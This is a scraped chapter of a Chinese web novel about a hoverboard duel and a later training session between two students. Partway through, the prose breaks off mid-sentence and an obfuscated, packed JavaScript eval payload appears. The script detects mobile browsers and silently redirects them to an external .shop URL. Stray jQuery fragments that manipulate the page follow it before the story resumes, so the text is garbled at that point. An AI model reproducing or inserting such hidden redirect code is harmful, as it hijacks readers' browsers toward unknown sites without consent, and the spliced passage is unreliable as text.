文趣网 > 其他小说 > 我开机甲靠想象力 > 36. 飞板-踩星
    破伤风永远跑不过踩星,但它可以在差距还没拉大时尝试撞击,制造压迫。

    一旦成功撞到一次,就是踩星的死期。

    只要一次。

    鸣星甩掉手臂上的汗水,右手手指轻轻抽搐着。她整个后背被汗水浸透,衣服紧紧贴在身上,风吹过时阵阵凉意。

    天已经黑下来,从他们开始比时到现在,过去了好几个小时。

    她瞄准了踩星,看好了它的方向。她知道它下一秒要去往何处,猛冲过去。她——

    她眼睁睁看着踩星擦着她的边飘过。

    她看得很清楚,在她擦上去时,踩星极其迅捷地微调一个小角,紧接着顺势滑出去一道圆,卸力、稳定。

    从天亮比到天黑,鸣星连输十四次,但,一次都没有碰到过踩星的边,一次都没有成功撞到过它。

    不过,她与踩星的距离也越来越近了。

    最开始她连靠近施压都做不到,第三次开始,她能贴到踩星十厘米外,第五次,她最近时离踩星只不过半根手指长,如今第十四次,在他人视角,她已经与踩星撞上了。

    只有她自己知道,还差最后那半厘米的距离。

    云斯京冲过终点线,急停稳住身子,双手插回口袋里。公共屏幕上刷新了本次的成绩。

    8分39秒,第二名。

    超过了奥和那个三年前神秘的匿名玩家。

    小六脚底一堆烟头,她又丢下半根,重重踩了一脚。从他们开始比赛后,她的眉头再也没解开过。

    第四名到第二名,10秒的差距,她当年练了三个月,被所有玩家夸天赋异禀,被论坛疯狂讨论,被飞花说还不错。

    然后,这人用一下午的时间追上来了。

    或许他本来就是这样的水平,只是最开始在找感觉。

    小六磕磕烟,仔细回想云斯京的动作,想他躲避的细节。

    每个飞板玩家都有自己独特的风格,和练过的技术、性格都有关系。小六自己是横冲直撞的狂野流,启明星在低空是普通的技术流,可以看出玩飞板时间不短,但在高空是练不出来的那种疯子。而云斯京,他……

    无论如何都会避开撞击,风和磁场波动时第一时间调整,小心谨慎地处理所有细节,绝对的完美,和灵敏的踩星匹配到极致的心理状态。

    他那打法,不像是打比赛的。

    他像是上战场的。

    或许,可以称为活命流。

    小六越想,眉皱得越深,她知道那是云风清的后代,没本事才不正常,但他年纪那么小就达到如此高度,她心中说不出的堵。

    破伤风以强烈的气势冲过终点线,向前滑行好一阵子才停下来。

    8分49秒,第四名。

    鸣星跳下飞板,扶着墙喘息,胸口大幅起伏。小六知道,她尽力了。她早就突破了九分钟的纪录,但没人再提过这事。鸣星非要撞上去不可,云斯京非要躲开不可,两个人死咬着飞驰,一心一意只有追和逃。

    云斯京飘到鸣星面前,嘴角露出一个淡淡的笑,“你快要碰到我了。”

    鸣星擦掉汗水,抬起头来,从风镜里看他。她对上他的视线,不知为何脑子里忽然出现一句话。

    她或许永远也碰不到他。

    ……为什么?鸣星对自己莫名其妙的想法感到疑惑。他们之间的距离明明不断缩小,她越发找得到感觉了,她本来觉得,再来一次,她就能撞到他。

    “……再来一次么?”她有些犹豫地问。

    云斯京毫不犹豫地答:“好啊。”

    两人再次站到起点。

    墨镜男震惊地推下墨镜,说道:“他们图啥啊?这么拼,非得今天分胜负吗。”

    小六没再看向赛场,趴在天台墙上,抬头望向远方的云海夜色。

    她不想看了。

    半晌,她慢慢吐出烟圈,说道:“可能,他们太想赢了吧。”

    铮——

    撞击声。

    小六身子一震,猛然向下看,只见破伤风重重地、直击踩星!

    这不是擦边蹭过,而是正中板心。如此强大的力度,响得他们这么远都听得到,那一定是尽全力的奋力一击。踩星会旋转着飞出去,板主要么掉下去,要么被板子带着飞到障碍物上。

    小六瞬间冷汗渗透后心,这件事终于还是发生了,云斯京会死——

    踩星偏移的瞬间,嚓地向上滑出去,它仿佛踩在一个透明球体内,原地调转360度,下一秒,他站到了鸣星的身后。

    安然无恙。

    ……小六倒吸一口冷气。

    撞击,这个踩星专有的弱点,对云斯京无效。

    鸣星的心脏砰砰直跳,几乎要飞出喉咙。在撞上去的一刻,恐惧先于喜悦赶到,她下意识抬手,想要抓住他的胳膊,但她没碰到。

    他飘着画出来一个圆,然后落在她身后一厘米处,停在那里,后背几乎贴着她的肩膀。

    两人背对背悬浮,一时沉默,只有引擎嗡嗡地响。

    她碰不到他。就像他当时碰不到她的第五只手一样。

    鸣星满脑子只有一个想法,为什么?

    如果她是靠想象自己是观音,他又是靠什么?

    长久的静寂中,鸣星打开风镜,微微仰头,看向远方。

    那边,一望无际的巨大云团翻腾似海,云连着山,山连着天,天连着海,遥遥的海平面上,巨目垂悬,风变大了,响彻耳畔。

    飞板随风浪剧烈颤抖的那几下,刚才的一幕幕忽然帧帧闪过脑海,一帧一停,寸寸扎进她的眼睛里。

    咔哒咔哒、咔哒咔哒。

    她手指抽动时关节摩擦的响声中,乌云忽地压上来,在头顶翻滚成山。视野彻底黑下去的瞬间,鸣星一时失神,大脑一片空白。

    紧接着,她立刻笑出了声。

    她碰不到他。

    因为,如果在那样的速度下碰到他,他就会死。

    而他不允许自己死。

    她允许自己用手上的眼睛看得到,而他不允许自己死。这不是同样的事吗?

    云斯京听着她的笑声,向后飘了半步,回到她的面前。他低头看着她,淡淡地问:“还玩吗?”

    “你经历过什么?”鸣星忽然抬头问道。

    云斯京被她看得肩膀一紧,她的眼神穿透他的眼睛,看向他的过去。

    鸣星又问,“你是不是,差点死过?”

    “……为什么?”

    “因为你绝对不会再死一次。”鸣星从他身边滑过,余下半句话散在空中,“所以,不玩了。我赢不了。”

    啪的一声,云斯京扯住她的手臂。机械手被他拉起来,微微一抖。

    他说:“再来一次。这次,你用踩星。”

    ……

    离地30米,管道区最高处。鸣星刚一踏上踩星,本能地出了一身冷汗。

    它太轻了,轻得像踩在空气上,又过度灵敏,稍一用力,板子就窜出去,稍一放松,板头就左右晃动。

    “呼吸。”云斯京说道。他站在管道的另一端,没有上板,只是看着她。

    鸣星这才意识到,自己不由自主地屏住了呼吸。

    她深吸一口气,抬起手臂,轻轻跃上踩星,板子剧烈晃动几下,几乎将她摔下去,她微调着重心,就这么晃了五分钟,才稳下板身。

    云斯京:“向我这里飞。”

    鸣星抬头看他,从这里飞到他那,只需要沿着管道走,磁场稳定,也没有摔下去的风险。她稍微松下力气,轻轻踩中激活区。

    只加了一点点力度,踩星就如子弹一般向前蹿去!

    再过三秒她就会冲到云斯京身上。鸣星本能地跳下去,在管道上一个翻滚,顺势站起来。

    踩星击中云斯京的前一瞬间,他抬腿轻踩,鞋尖微微一挑,踩星就稳定下来,乖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527689|202583||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    巧地贴在他小腿边。

    他全程都没看板子一下,目光一直锁在鸣星身上,看她如何跳板,如何翻滚起身,待她站定,方才说道:“……你体术进步了。”

    入学对决时,她还不敢从他头顶跳下去。

    鸣星落地后才发觉自己做了什么,也是一怔,这是英弦不久前教她的。

    云斯京踢了踩星一下,它沿着直线稳稳飞来,随着惯性,正正好好停在鸣星面前,他说道:“再来。”

    就这么一段直路,鸣星练了半个小时,终于能平稳地飞到云斯京面前。

    控制踩星很难,不止难在技术,更难在心态,有时一个呼吸急促,它就像听到板主心理似的晃起来。

    鸣星知道这只是重心改变的缘故,但偶尔也会觉得恐怖,板子总是比她先一步意识到她的情绪。

    像是某种寄生在她心里的怪物似的。

    这想法一出,鸣星立刻毛骨悚然。

    云斯京察觉到她呼吸加快,问道:“怎么了?”

    “……你是怎么控制它的?”

    “练习。时间久了就会习惯。”

    “就只是练习吗?”

    “不然呢。”

    “那我要用多久才能……”

    “你已经进步得很快了。”云斯京打断她,踩着破伤风滑到三米外的管道上,“到这里来。”

    距离不远,但中间隔了一道缝隙,以及磁场的变化。

    鸣星看着那黑洞洞的缝隙,脑中模拟滑行过程,以踩星的速度,全力冲过去只要不到一秒。

    忽然,手指剧烈抽搐起来,她猛然回神,这才发觉自己正在恐惧地颤抖。

    她想象得到自己如何在飞过去的时候心跳加快,踩星如何晃动,就在那短短的一秒之内,她如何歪下去,坠入深渊。

    这里不是游戏。

    会跌下去。

    会死——

    鸣星手指无意识地勾起,像是握着某个人的手,她抬起来,凝视手心。游戏中感受不到S掌心的温度,但,她现在却似乎感受到了。

    好像S就在牵着她的手,如同她们在游戏里一次次做的那般。

    她的手指安静下来,不再抽动。她自如地控制,收掌,抬手,没有一丝卡顿。

    S,你现在在哪里,在做什么呢?

    在游戏里跳崖吗?在宿舍里欣赏收集的飞行机吗?在不知某处,开着飞行机自由地翱翔吗?

    那晚之后,鸣星总是想起自己对S倾诉的那些过去,没有主动发过去消息,S也没有找她。她们甚至没有加私下的联系方式,只能通过学校任务平台找到对方。

    S将平台里性别那一栏改成了空,这是她唯一的私人信息,如今也删掉了,只能说明她并不想与这平台的任何人有来往。

    鸣星离开龙羿后,她们不会有机会在现实中相见。

    踩星静静地悬浮,如浮在死水中的小船,没有一丝波动。

    忽地,它的板头轻颤起来。如同随风浪翻滚,悠悠地摇摆,鸣星却没如往常一样精细地调整重心,她只是将右手抬得更高,抬到眼前,挡住半片视野,从手指缝隙向外看去。

    从这里看不到管道之间的深渊,只看得到远处翻滚的云海,以及站在不远处的云斯京,他金色的卷发在风中飘起来,在那双红色的眼瞳之前飞来飞去。

    飞上死亡之峰时她想象自己是飞鸟,红崖坠崖时她眼里只有S。

    现如今,她什么都不用想,什么也不要看。

    她只要像一只鸟,飞向那片红色——

    鸣星的手指倏地收拢,在她的视野中夹住那个红色的,鲜艳的,明亮的,在夜色中熊熊燃烧的火焰般的眼瞳。那是她的目标,是她要到达的地方。

    她现在要飞去那里,仅此而已。

    ——踩星动了,剧烈地摇晃,像要将它身上的人送往深渊,与此同时,却又一往无前地向前冲,冲向地狱之火。